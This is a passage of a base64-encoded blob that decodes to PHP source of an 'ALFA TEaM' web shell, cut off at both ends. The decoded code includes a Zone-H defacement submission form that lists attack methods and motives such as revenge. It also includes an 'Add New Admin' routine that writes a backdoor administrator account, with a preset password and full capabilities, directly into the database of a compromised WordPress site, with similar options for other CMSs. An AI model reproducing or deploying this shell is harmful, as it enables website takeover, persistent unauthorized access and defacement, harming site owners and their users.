WxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iNCIgPmJydXRlIGZvcmNlIGF0dGFjazwvb3B0aW9uPg0KPG9wdGlvbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKEYsIEYsIEYpOyIgdmFsdWU9IjUiID5zb2NpYWwgZW5naW5lZXJpbmc8L29wdGlvbj4NCjxvcHRpb24gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYihGLCBGLCBGKTsiIHZhbHVlPSI2IiA+V2ViIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYihGLCBGLCBGKTsiIHZhbHVlPSI3IiA+V2ViIFNlcnZlciBleHRlcm5hbCBtb2R1bGUgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iOCIgPk1haWwgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KPG9wdGlvbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKEYsIEYsIEYpOyIgdmFsdWU9IjkiID5GVFAgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KPG9wdGlvbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKEYsIEYsIEYpOyIgdmFsdWU9IjEwIiA+U1NIIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYihGLCBGLCBGKTsiIHZhbHVlPSIxMSIgPlRlbG5ldCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iMTIiID5SUEMgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KPG9wdGlvbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKEYsIEYsIEYpOyIgdmFsdWU9IjEzIiA+U2hhcmVzIG1pc2NvbmZpZ3VyYXRpb248L29wdGlvbj4NCjxvcHRpb24gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYihGLCBGLCBGKTsiIHZhbHVlPSIxNCIgPk90aGVyIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYihGLCBGLCBGKTsiIHZhbHVlPSIxNSIgPlNRTCBJbmplY3Rpb248L29wdGlvbj4NCjxvcHRpb24gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYihGLCBGLCBGKTsiIHZhbHVlPSIxNiIgPlVSTCBQb2lzb25pbmc8L29wdGlvbj4NCjxvcHRpb24gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYihGLCBGLCBGKTsiIHZhbHVlPSIxNyIgPkZpbGUgSW5jbHVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iMTgiID5PdGhlciBXZWIgQXBwbGljYXRpb24gYnVnPC9vcHRpb24+DQo8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iMTkiID5SZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIGJydXRlZm9yY2luZzwvb3B0aW9uPg0KPG9wdGlvbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKEYsIEYsIEYpOyIgdmFsdWU9IjIwIiA+UmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBwYXNzd29yZCBndWVzc2luZzwvb3B0aW9uPg0KPG9wdGlvbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKEYsIEYsIEYpOyIgdmFsdWU9IjIxIiA+UmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBzb2NpYWwgZW5naW5lZXJpbmc8L29wdGlvbj4NCjxvcHRpb24gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYihGLCBGLCBGKTsiIHZhbHVlPSIyMiIgPkF0dGFjayBhZ2FpbnN0IGFkbWluaXN0cmF0b3IocGFzc3dvcmQgc3RlYWxpbmcvc25pZmZpbmcpPC9vcHRpb24+DQo8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iMjMiID5BY2Nlc3MgY3JlZGVudGlhbHMgdGhyb3VnaCBNYW4gSW4gdGhlIE1pZGRsZSBhdHRhY2s8L29wdGlvbj4NCjxvcHRpb24gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYihGLCBGLCBGKTsiIHZhbHVlPSIyNCIgPlJlbW90ZSBzZXJ2aWNlIHBhc3N3b3JkIGd1ZXNzaW5nPC9vcHRpb24+DQo8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iMjUiID5SZW1vdGUgc2VydmljZSBwYXNzd29yZCBicnV0ZWZvcmNlPC9vcHRpb24+DQo8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iMjYiID5SZXJvdXRpbmcgYWZ0ZXIgYXR0YWNraW5nIHRoZSBGaXJld2FsbDwvb3B0aW9uPg0KPG9wdGlvbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKEYsIEYsIEYpOyIgdmFsdWU9IjI3IiA+UmVyb3V0aW5nIGFmdGVyIGF0dGFja2luZyB0aGUgUm91dGVyPC9vcHRpb24+DQo8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iMjgiID5ETlMgYXR0YWNrIHRocm91Z2ggc29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+DQo8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iMjkiID5ETlMgYXR0YWNrIHRocm91Z2ggY2FjaGUgcG9pc29uaW5nPC9vcHRpb24+DQo8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iMzAiID5Ob3QgYXZhaWxhYmxlPC9vcHRpb24+DQo8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iOCIgPl8gXyBfIF8gXyBfIF8gXyBfIF8gXyBfIF8gXyBfIF8gXyBfIF8gXyBfIF8gXyBfIF8gXzwvb3B0aW9uPg0KPC9zZWxlY3Q+IDxicj4NCjxzZWxlY3QgaWQ9InRleHQiIG5hbWU9InJlYXNvbiI+DQo8b3B0aW9uID4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1TRUxFQ1QtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPC9vcHRpb24+DQo8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iMSIgPkhlaC4uLmp1c3QgZm9yIGZ1biE8L29wdGlvbj4NCjxvcHRpb24gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYihGLCBGLCBGKTsiIHZhbHVlPSIyIiA+UmV2ZW5nZSBhZ2FpbnN0IHRoYXQgd2Vic2l0ZTwvb3B0aW9uPg0KPG9wdGlvbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKEYsIEYsIEYpOyIgdmFsdWU9IjMiID5Qb2xpdGljYWwgcmVhc29uczwvb3B0aW9uPg0KPG9wdGlvbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKEYsIEYsIEYpOyIgdmFsdWU9IjQiID5BcyBhIGNoYWxsZW5nZTwvb3B0aW9uPg0KPG9wdGlvbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKEYsIEYsIEYpOyIgdmFsdWU9IjUiID5JIGp1c3Qgd2FudCB0byBiZSB0aGUgYmVzdCBkZWZhY2VyPC9vcHRpb24+DQo8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iNiIgPlBhdHJpb3Rpc208L29wdGlvbj4NCjxvcHRpb24gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYihGLCBGLCBGKTsiIHZhbHVlPSI3IiA+Tm90IGF2YWlsYWJsZTwvb3B0aW9uPg0Kb3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iOCIgPl8gXyBfIF8gXyBfIF8gXyBfIF8gXyBfIF8gXyBfIF8gXyBfIF8gXyBfIF8gXyBfIF8gXzwvb3B0aW9uPg0KPC9zZWxlY3Q+PGJyPg0KPHRleHRhcmVhIG5hbWU9ImRvbWFpbiIgY29scz0iOTAiIHJvd3M9IjIwIiBwbGFjZWhvbGRlcj0iRG9tYWlucy4uLiI+PC90ZXh0YXJlYT48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPj4iIG5hbWU9ImdvIi8+DQo8L2Zvcm0+PC9jZW50ZXI+JzsNCmlmKCRfUE9TVFsnYWxmYTUnXSAmJiAkX1BPU1RbJ2FsZmE1J10gPT0gJz4+Jyl7DQpvYl9zdGFydCgpOw0KJGhhY2tlciA9ICRfUE9TVFsnYWxmYTEnXTsNCiRtZXRob2QgPSAkX1BPU1RbJ2FsZmEyJ107DQokbmVkZW4gPSAkX1BPU1RbJ2FsZmEzJ107DQokc2l0ZSA9ICRfUE9TVFsnYWxmYTQnXTsNCmlmIChlbXB0eSgkaGFja2VyKSkNCnsNCmRpZSAoIjxjZW50ZXI+PGI+PGZvbnQgY29sb3IgPVwiI0ZGMDAwMFwiPlsrXSBZT1UgTVVTVCBGSUxMIFRIRSBBVFRBQ0tFUiBOQU1FIFsrXTwvZm9udD48L2I+PC9jZW50ZXI+Iik7DQp9DQplbHNlaWYoJG1ldGhvZCA9PSAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tU0VMRUNULS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIpDQp7DQpkaWUoIjxjZW50ZXI+PGI+PGZvbnQgY29sb3IgPVwiI0ZGMDAwMFwiPlsrXSBZT1UgTVVTVCBTRUxFQ1QgVEhFIE1FVEhPRCBbK108L2I+PC9mb250PjwvY2VudGVyPiIpOw0KfQ0KZWxzZWlmKCRuZWRlbiA9PSAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tU0VMRUNULS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIpDQp7DQpkaWUoIjxjZW50ZXI+PGI+PGZvbnQgY29sb3IgPVwiI0ZGMDAwMFwiPlsrXSBZT1UgTVVTVCBTRUxFQ1QgVEhFIFJFQVNPTiBbK108L2I+PC9mb250PjwvY2VudGVyPiIpOw0KfQ0KZWxzZWlmKGVtcHR5KCRzaXRlKSkNCnsNCmRpZSgiPGNlbnRlcj48Yj48Zm9udCBjb2xvciA9XCIjRkYwMDAwXCI+WytdIFlPVSBNVVNUIElOVEVSIFRIRSBTSVRFUyBMSVNUIFsrXTxmb250PjwvYj48L2NlbnRlcj4iKTsNCn0NCiRpID0gMDsNCiRzaXRlcyA9IGV4cGxvZGUoIlxuIiwgJHNpdGUpOw0Kd2hpbGUoJGkgPCBjb3VudCgkc2l0ZXMpKQ0Kew0KaWYoc3Vic3RyKCRzaXRlc1skaV0sIDAsIDQpICE9ICJodHRwIikNCnsNCiRzaXRlc1skaV0gPSAiaHR0cDovLyIuJHNpdGVzWyRpXTsNCn0NClpvbmVIKCJodHRwOi8vd3d3LnpvbmUtaC5jb20vbm90aWZ5L3NpbmdsZSIsICRoYWNrZXIsICRtZXRob2QsICRuZWRlbiwgJHNpdGVzWyRpXSk7DQorKyRpOw0KfQ0KZWNobyAiPHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxmb250IGNvbG9yID1cIiMwMEEyMjBcIj48Yj5bK10gU2VuZGluZyBTaXRlcyBUbyBab25lLUggSGFzIEJlZW4gQ29tcGxldGVkIFN1Y2Nlc3NmdWxseSAhISFbK108L2I+PGZvbnQ+PC9jZW50ZXI+IjsNCn0NCmVjaG8gIjwvZGl2PiI7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhdGVhbSgpDQp7DQphbGZhaGVhZCgpOw0KZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+IjsNCmVjaG8gIjxwcmU+DQo8Y2VudGVyPjxpbWcgaGVpZ2h0PVwiMzAwXCIgd2lkdGg9XCI0NTBcIiBzcmM9XCJodHRwOi8vaXJhbi5ncm4uY2MvYWxmYS1pcmFuLmpwZ1wiPg0KPGZvbnQgY29sb3I9XCIjRkZGRjAxXCI+DQo8YnI+DQo8Zm9udCBjb2xvcj0jMDBBMjIwPjxiPlNoZWxsIENvZGVkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlKEFMRkEgVEVhTSlJcmFuaWFuIEhhY2tlcnMgOik8L2ZvbnQ+PGI+c3BlY2lhbCB0aGFua3MgdG8gTWFkTGVldHM8L2I+PC9mb250Pjxicj4NCjxmb250IGNvbG9yPSMwMEEyMjA+Q29udGFjdCA6IHNvbGV2aXNpYmxlQGdtYWlsLmNvbTxicj48L2ZvbnQ+DQo8Zm9udCBjb2xvcj0jRkZGRkZGPlNreXBlIDogZWhzYW4uaW52aXNpYmxlPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSNGRkZGRkY+PGI+U2t5cGUgOiBzb2xlLnNhZDwvYj48L2ZvbnQ+PGJyPjxiPg0KPGZvbnQgY29sb3I9I0ZGMDAwMD48Yj5QZXJzaWFuIEd1bGYgRm9yIEV2ZXI8L2I+PC9mb250Pjxicj48Yj4NCg0KPC9wcmU+PC9kaXY+IjsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFwd2NoYW5nZXIoKXsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48c2NyaXB0PmFsZmExXz1hbGZhMl89YWxmYTNfPWFsZmE0Xz1hbGZhNV89YWxmYTZfPWFsZmE3Xz1hbGZhOF89YWxmYTlfPWFsZmExMF89IiI8L3NjcmlwdD48Y2VudGVyPjxoMz48c3Bhbj58IEFkZCBOZXcgQWRtaW4gfDwvc3Bhbj48L2gzPg0KPGNlbnRlcj48aDM+DQo8YSBocmVmPSMgb25jbGljaz0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsXCd3cFwnKSI+fCBXb3JkUHJlc3MgfCA8L2E+DQo8YSBocmVmPSMgb25jbGljaz0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsbnVsbCxcJ2pvb21sYVwnKSI+fCBKb29tbGEgfCA8L2E+DQo8YSBocmVmPSMgb25jbGljaz0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsbnVsbCxudWxsLFwnZXRjaGF0XCcpIj58IEVUIENIQVQgfCA8L2E+DQo8YSBocmVmPSMgb25jbGljaz0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsbnVsbCxudWxsLG51bGwsXCd2YlwnKSI+fCB2QnVsbGV0aW4gfCA8L2E+DQo8YSBocmVmPSMgb25jbGljaz0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ3BocGJiXCcpIj58IHBocEJCIHwgPC9hPg0KPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdwd2NoYW5nZXJcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ3dobWNzXCcpIj58IHdobWNzIHwgPC9hPg0KPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdwd2NoYW5nZXJcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwnbXliYlwnKSI+fCBNeUJCIHwgPC9hPg0KPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdwd2NoYW5nZXJcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsXCdudWtlXCcpIj58IFBocCBOdWtlIHwgPC9hPg0KPC9oMz48L2NlbnRlcj4nOw0KaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ109PSAnd3AnKXsNCmVjaG8gJzxiPjxjZW50ZXI+PHNjcmlwdD5hbGZhMl89YWxmYTNfPWFsZmE0Xz1hbGZhNV89YWxmYTZfPWFsZmE3Xz1hbGZhOF89YWxmYTlfPWFsZmExMF89IiI8L3NjcmlwdD4NCjxjZW50ZXI+PGI+PGZvbnQgY29sb3I9IiNGRkZGMDEiPj09PC9mb250PiA8Zm9udCBjb2xvcj0iIzAwQTIyMCI+QWRkPC9mb250PiA8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+TmV3QWRtaW48L2ZvbnQ+IDxmb250IGNvbG9yPSIjRkYwMDAwIj5Xb3JkUHJlc3M8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRkZGMDEiPiA9PTwvZm9udD48L2I+PHA+DQo8Rk9STSBvblN1Ym1pdD0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsXCd3cFwnLHRoaXMuc2VuZC52YWx1ZSx0aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSxudWxsLHRoaXMuYWRtaW4udmFsdWUsdGhpcy5lbWFpbC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4NCjx0YWJsZSBib3JkZXI9MT4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGRkZGRj5Ib3N0IDo8L3RkPg0KPHRkPjxJTlBVVCBzaXplPSIzMCIgdmFsdWU9ImxvY2FsaG9zdCIgbmFtZT0ibG9jYWxob3N0IiB0eXBlPSJ0ZXh0Ij48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSNGRkZGRkY+RGF0YWJhc2UgOjwvdGQ+DQo8dGQ+IDxJTlBVVCBzaXplPSIzMCIgdmFsdWU9IiIgbmFtZT0iZGF0YWJhc2UiIHR5cGU9InRleHQiPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGRkZGRj5UYWJsZSBQcmVmaXggOjwvdGQ+DQo8dGQ+PElOUFVUIHNpemU9IjMwIiB2YWx1ZT0id3BfIiBuYW1lPSJwcmVmaXgiIHR5cGU9InRleHQiPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGRkZGRj5Vc2VybmFtZSA6IDwvdGQ+DQo8dGQ+IDxJTlBVVCBzaXplPSIzMCIgdmFsdWU9IiIgbmFtZT0idXNlcm5hbWUiIHR5cGU9InRleHQiPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGRkZGRj5QYXNzd29yZCA6PC90ZD4NCjx0ZD4gPElOUFVUIHNpemU9IjMwIiB2YWx1ZT0iIiBuYW1lPSJwYXNzd29yZCIgdHlwZT0idGV4dCI+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0jRkYwMDAwPkFkbWluIFVzZXJuYW1lOjwvdGQ+DQo8dGQ+PElOUFVUIG5hbWU9ImFkbWluIiBzaXplPSIzMCIgdmFsdWU9ImFkbWluIj48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSNGRjAwMDA+QWRtaW4gUGFzc3dvcmQ6IDwvdGQ+DQo8dGQ+PElOUFVUIG5hbWU9ImtoIiBzaXplPSIzMCIgdmFsdWU9InNvbGV2aXNpYmxlIiBkaXNhYmxlZCAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGMDAwMD5BZG1pbiBFbWFpbDo8L3RkPg0KPHRkPjxJTlBVVCBuYW1lPSJlbWFpbCIgc2l6ZT0iMzAiIHZhbHVlPSJzb2xldmlzaWJsZUBmYmkuZ292Ij48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPElOUFVUIHZhbHVlPSI+PiIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij4NCjwvRk9STT48L2I+JzsNCmlmICgkX1BPU1RbJ2FsZmEyJ10gJiYgJF9QT1NUWydhbGZhMiddID09ICc+Picpew0KJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTMnXTsNCiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTQnXTsNCiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTUnXTsNCiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTYnXTsNCiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsNCiRTUUwgPSAkX1BPU1RbJ2FsZmE5J107DQokcHJlZml4ID0gJF9QT1NUWydhbGZhMTAnXTsNCkBteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KQG15c3FsX3NlbGVjdF9kYigkZGF0YWJhc2UpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxfcXVlcnkoImluc2VydCBpbnRvICIuJHByZWZpeC4idXNlcnMgKElELHVzZXJfbG9naW4sdXNlcl9wYXNzLHVzZXJfZW1haWwpIHZhbHVlcyhudWxsLCckYWRtaW4nLCdkNGE1OTBjYWFjYzBiZTU1ZWYyODZlNDBhOTQ1ZWE0NScsJyRTUUwnKSIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxfcXVlcnkoInNlbGVjdCBJRCBmcm9tICIuJHByZWZpeC4idXNlcnMgd2hlcmUgdXNlcl9sb2dpbj0nIi4kYWRtaW4uIiciKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokc29sZSA9IG15c3FsX251bV9yb3dzKCRzb2xldmlzaWJsZSk7DQppZiAoJHNvbGUgPT0gMSl7DQokc29sZXZpcyA9IG15c3FsX2ZldGNoX2Fzc29jKCRzb2xldmlzaWJsZSk7DQokcmVzID0gJHNvbGV2aXNbJ0lEJ107DQp9DQokc29sZXZpc2libGU9QG15c3FsX3F1ZXJ5KCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJtZXRhICh1bWV0YV9pZCx1c2VyX2lkLG1ldGFfa2V5LG1ldGFfdmFsdWUpIHZhbHVlcyhudWxsLCciLiRyZXMuIicsJ2ZpcnN0X25hbWUnLCdzb2xldmlzaWJsZScpIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJHNvbGV2aXNpYmxlPUBteXNxbF9xdWVyeSgiaW5zZXJ0IGludG8gIi4kcHJlZml4LiJ1c2VybWV0YSAodW1ldGFfaWQsdXNlcl9pZCxtZXRhX2tleSxtZXRhX3ZhbHVlKSB2YWx1ZXMobnVsbCwnIi4kcmVzLiInLCdsYXN0X25hbWUnLCdzb2xldmlzaWJsZScpIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJHNvbGV2aXNpYmxlPUBteXNxbF9xdWVyeSgiaW5zZXJ0IGludG8gIi4kcHJlZml4LiJ1c2VybWV0YSAodW1ldGFfaWQsdXNlcl9pZCxtZXRhX2tleSxtZXRhX3ZhbHVlKSB2YWx1ZXMobnVsbCwnIi4kcmVzLiInLCduaWNrbmFtZScsJ3NvbGV2aXNpYmxlJykiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokc29sZXZpc2libGU9QG15c3FsX3F1ZXJ5KCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJtZXRhICh1bWV0YV9pZCx1c2VyX2lkLG1ldGFfa2V5LG1ldGFfdmFsdWUpIHZhbHVlcyhudWxsLCciLiRyZXMuIicsJ2Rlc2NyaXB0aW9uJywnc29sZXZpc2libGUnKSIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxfcXVlcnkoImluc2VydCBpbnRvICIuJHByZWZpeC4idXNlcm1ldGEgKHVtZXRhX2lkLHVzZXJfaWQsbWV0YV9rZXksbWV0YV92YWx1ZSkgdmFsdWVzKG51bGwsJyIuJHJlcy4iJywncmljaF9lZGl0aW5nJywndHJ1ZScpIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJHNvbGV2aXNpYmxlPUBteXNxbF9xdWVyeSgiaW5zZXJ0IGludG8gIi4kcHJlZml4LiJ1c2VybWV0YSAodW1ldGFfaWQsdXNlcl9pZCxtZXRhX2tleSxtZXRhX3ZhbHVlKSB2YWx1ZXMobnVsbCwnIi4kcmVzLiInLCdjb21tZW50X3Nob3J0Y3V0cycsJ2ZhbHNlJykiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokc29sZXZpc2libGU9QG15c3FsX3F1ZXJ5KCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJtZXRhICh1bWV0YV9pZCx1c2VyX2lkLG1ldGFfa2V5LG1ldGFfdmFsdWUpIHZhbHVlcyhudWxsLCciLiRyZXMuIicsJ2FkbWluX2NvbG9yJywnZnJlc2gnKSIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxfcXVlcnkoImluc2VydCBpbnRvICIuJHByZWZpeC4idXNlcm1ldGEgKHVtZXRhX2lkLHVzZXJfaWQsbWV0YV9rZXksbWV0YV92YWx1ZSkgdmFsdWVzKG51bGwsJyIuJHJlcy4iJywndXNlX3NzbCcsJzAnKSIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxfcXVlcnkoImluc2VydCBpbnRvICIuJHByZWZpeC4idXNlcm1ldGEgKHVtZXRhX2lkLHVzZXJfaWQsbWV0YV9rZXksbWV0YV92YWx1ZSkgdmFsdWVzKG51bGwsJyIuJHJlcy4iJywnc2hvd19hZG1pbl9iYXJfZnJvbnQnLCd0cnVlJykiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokc29sZXZpc2libGU9QG15c3FsX3F1ZXJ5KCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJtZXRhICh1bWV0YV9pZCx1c2VyX2lkLG1ldGFfa2V5LG1ldGFfdmFsdWUpIHZhbHVlcyhudWxsLCciLiRyZXMuIicsJ3dwX2NhcGFiaWxpdGllcycsJ2E6MTp7czoxMzpcImFkbWluaXN0cmF0b3JcIjtiOjE7fScpIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJHNvbGV2aXNpYmxlPUBteXNxbF9xdWVyeSgiaW5zZXJ0IGludG8gIi4kcHJlZml4LiJ1c2VybWV0YSAodW1ldGFfaWQsdXNlcl9pZCxtZXRhX2tleSxtZXRhX3ZhbHVlKSB2YWx1ZXMobnVsbCwnIi4kcmVzLiInLCd3cF91c2VyX2xldmVsJywnMTAnKSIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxfcXVlcnkoImluc2VydCBpbnRvICIuJHByZWZpeC4idXNlcm1ldGEgKHVtZXRhX2lkLHVzZXJfaWQsbWV0YV9rZXksbWV0YV92YWx1ZSkgdmFsdWVzKG51bGwsJyIuJHJlcy4iJywnZGlzbWlzc2VkX3dwX3BvaW50ZXJzJywnd3AzMzBfdG9vbGJhcix3cDMzMF9zYXZpbmdfd2lkZ2V0cyx3cDM0MF9jaG9vc2VfaW1hZ2VfZnJvbV9saWJyYXJ5LHdwMzQwX2N1c3RvbWl6ZV9jdXJyZW50X3RoZW1lX2xpbmssd3AzNTBfbWVkaWEnKSIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxfcXVlcnkoImluc2VydCBpbnRvICIuJHByZWZpeC4idXNlcm1ldGEgKHVtZXRhX2lkLHVzZXJfaWQsbWV0YV9rZXksbWV0YV92YWx1ZSkgdmFsdWVzKG51bGwsJyIuJHJlcy4iJywnc2hvd193ZWxjb21lX3BhbmVsJywnMScpIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJHNvbGV2aXNpYmxlPUBteXNxbF9xdWVyeSgiaW5zZXJ0IGludG8gIi4kcHJlZml4LiJ1c2VybWV0YSAodW1ldGFfaWQsdXNlcl9pZCxtZXRhX2tleSxtZXRhX3ZhbHVlKSB2YWx1ZXMobnVsbCwnIi4kcmVzLiInLCd3cF9kYXNoYm